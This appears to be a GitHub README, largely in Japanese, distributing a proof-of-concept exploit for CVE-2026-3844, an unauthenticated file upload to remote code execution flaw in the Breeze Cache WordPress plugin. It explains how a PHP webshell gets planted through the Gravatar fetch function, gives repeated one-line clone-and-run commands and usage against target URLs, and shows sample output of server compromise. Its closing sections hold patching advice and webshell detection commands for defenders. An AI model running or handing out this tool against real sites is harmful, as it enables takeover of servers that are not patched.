
CVE-2026-3844 用の PoC エクスプロイト — WordPress Breeze プラグインにおける、RCE につながる重大な未認証ファイルアップロードの脆弱性です。
CVE-2026-3844 の PoC エクスプロイト。WordPress の Breeze プラグインにおける、RCE につながる重大な未認証ファイルアップロード脆弱性です。
CVE-2026-3844 は、Breeze Cache WordPress プラグイン(Cloudways 製)における**重大(CRITICAL)**な未認証の任意ファイルアップロード脆弱性であり、バージョン 2.4.4 までの全バージョンに影響します。
このリポジトリは、許可されたセキュリティ調査、ペネトレーションテスト、および責任ある開示のための概念実証(PoC)エクスプロイト(CVE-2026-3844.py)を提供します。
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3
WordPress 用の Breeze Cache プラグインは、「Host Files Locally – Gravatars」 機能が有効な場合、リモートの Gravatar 画像を取得してローカルに保存します。脆弱な関数 fetch_gravatar_from_remote(class-breeze-cache-cronjobs.php の 89〜119 行目)は、取得したリモートコンテンツに対してファイルタイプや拡張子の検証を一切行いません。
class-breeze-cache-cronjobs.php
└── fetch_gravatar_from_remote() ← ❌ No file type validation
└── Saves remote content directly to disk
└── Attacker controls → uploads .php webshell → RCE
Attacker (Unauthenticated)
│
▼
Craft malicious HTTP request with PHP webshell URL as Gravatar
│
▼
Plugin fetches & saves the .php file without validation
│
▼
Webshell stored on server (e.g., /wp-content/breeze-cache/evil.php)
│
▼
Attacker accesses webshell → Full RCE achieved
悪用に成功した場合、攻撃者は以下が可能になります:
requests ライブラリ# Clone the repository
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3 CVE-2026-3844.py
# Navigate into the directory
cd CVE-2026-3844
# Install dependencies
pip install -r requirements.txt
# Run the exploit
python3 CVE-2026-3844.py
git clone https://github.com/tausifzaman/CVE-2026-3844.git
cd CVE-2026-3844
pip install -r requirements.txt
python CVE-2026-3844.py
git clone https://github.com/tausifzaman/CVE-2026-3844.git
cd CVE-2026-3844
pip3 install -r requirements.txt
python3 CVE-2026-3844.py
pkg install python git -y && git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py
python3 CVE-2026-3844.py
usage: CVE-2026-3844.py [-h] -u URL [-t TIMEOUT] [-o OUTPUT] [-v]
CVE-2026-3844 — Breeze Cache WordPress Plugin Arbitrary File Upload PoC
optional arguments:
-h, --help Show this help message and exit
-u URL, --url URL Target URL (e.g. https://target.com)
-t TIMEOUT Request timeout in seconds (default: 10)
-o OUTPUT Save webshell path to output file
-v, --verbose Enable verbose/debug output
# Basic usage
python3 CVE-2026-3844.py -u https://vulnerable-site.com
# Verbose mode
python3 CVE-2026-3844.py -u https://vulnerable-site.com -v
# Custom timeout
python3 CVE-2026-3844.py -u https://vulnerable-site.com -t 20 -v
╔══════════════════════════════════════════════════════╗
║ CVE-2026-3844 | Breeze Cache WP RCE ║
║ Researcher: tausifzaman.online ║
╚══════════════════════════════════════════════════════╝
[*] Target : https://vulnerable-site.com
[*] CVE : CVE-2026-3844
[*] Plugin : Breeze Cache ≤ 2.4.4
[*] Type : Unauthenticated Arbitrary File Upload → RCE
[*] Checking target...
[+] Breeze Cache plugin detected!
[+] "Host Files Locally – Gravatars" is ENABLED
[*] Uploading PHP webshell via fetch_gravatar_from_remote...
[+] File uploaded successfully!
[+] Webshell path: /wp-content/breeze-cache/avatar_a1b2c3.php
[*] Verifying RCE...
[+] RCE CONFIRMED!
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Full server compromise achieved.
[*] Cleanup: Remove /wp-content/breeze-cache/avatar_a1b2c3.php after testing.
Breeze Cache をバージョン 2.4.5 以降に更新してください — これが唯一の完全な修正です。
# WordPress CLI — update Breeze plugin immediately
wp plugin update breeze
.htaccess で脆弱なエンドポイントをブロックする# Add to /wp-content/uploads/.htaccess and /wp-content/cache/.htaccess
<FilesMatch "\.php$">
deny from all
</FilesMatch>
# Find recently modified PHP files in wp-content (possible webshells)
find /var/www/html/wp-content -name "*.php" -newer /var/www/html/wp-config.php -ls
# Search for common webshell indicators
grep -r "eval(base64_decode" /var/www/html/wp-content/
grep -r "system\|exec\|passthru\|shell_exec" /var/www/html/wp-content/cache/
/wp-content/breeze-cache/*.php へのリクエストについてアクセスログを監視する# Monitor Apache/Nginx access logs for webshell hits
grep "breeze-cache.*\.php" /var/log/apache2/access.log
grep "breeze-cache.*\.php" /var/log/nginx/access.log
# Check for unexpected PHP files in Breeze cache directory
find /var/www/html/wp-content/breeze-cache/ -name "*.php"
# Check for recently created files (last 7 days)
find /var/www/html/wp-content/ -name "*.php" -mtime -7
# Look for admin accounts created recently (run in wp-mysql)
SELECT user_login, user_registered FROM wp_users ORDER BY user_registered DESC LIMIT 10;
Tausif Zaman
🌐 tausifzaman.online · 🐙 GitHub @tausifzaman
セキュリティリサーチャー · バグバウンティハンター · ツール開発者
Android · Python · PHP · Web セキュリティ · ペネトレーションテスト
このリポジトリおよび含まれるエクスプロイトコードは、教育目的および許可されたセキュリティ調査専用に提供されています。
倫理的にハッキングしましょう。責任を持って報告しましょう。法律を守りましょう。🛡️
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2026-3844 |
| プラグイン | Breeze Cache (by Cloudways) |
| 影響を受けるバージョン | 2.4.4 以下の全バージョン |
| 修正済みバージョン | Breeze 2.4.5 以降 |
| 脆弱性の種類 | CWE-434 — 危険なタイプのファイルの無制限アップロード |
| CVSS v3.1 スコア | 9.8(CRITICAL) |
| CVSS v2.0 スコア | 10.0(CRITICAL) |
| CVSS ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 攻撃ベクター | ネットワーク(リモート) |
| 認証要件 | ❌ なし — 未認証 |
| 条件 | 「Host Files Locally – Gravatars」が有効である必要があります(デフォルトでは無効) |
| 影響 | 機密性: 高 · 完全性: 高 · 可用性: 高 |
| 公開日 | 2026-04-23 |
| 情報源 | Wordfence / NVD / MITRE |
| PoC | Tausif Zaman |
| 情報源 | リンク |
|---|
| 🔗 NVD (NIST) | nvd.nist.gov/vuln/detail/CVE-2026-3844 |
| 🔗 MITRE CVE | cve.mitre.org – CVE-2026-3844 |
| 🔗 Wordfence アドバイザリ | wordfence.com – Threat Intel |
| 🔗 WordPress プラグインの変更履歴 | plugins.trac.wordpress.org/changeset/3511463/breeze |
| 🔗 脆弱なコード(L89) | class-breeze-cache-cronjobs.php#L89 |
| 🔗 脆弱なコード(L119) | class-breeze-cache-cronjobs.php#L119 |
| 🔗 GitHub アドバイザリ | GHSA-c529-q7mw-hq6j |
| 🔗 PoC リポジトリ | github.com/tausifzaman/CVE-2026-3844 |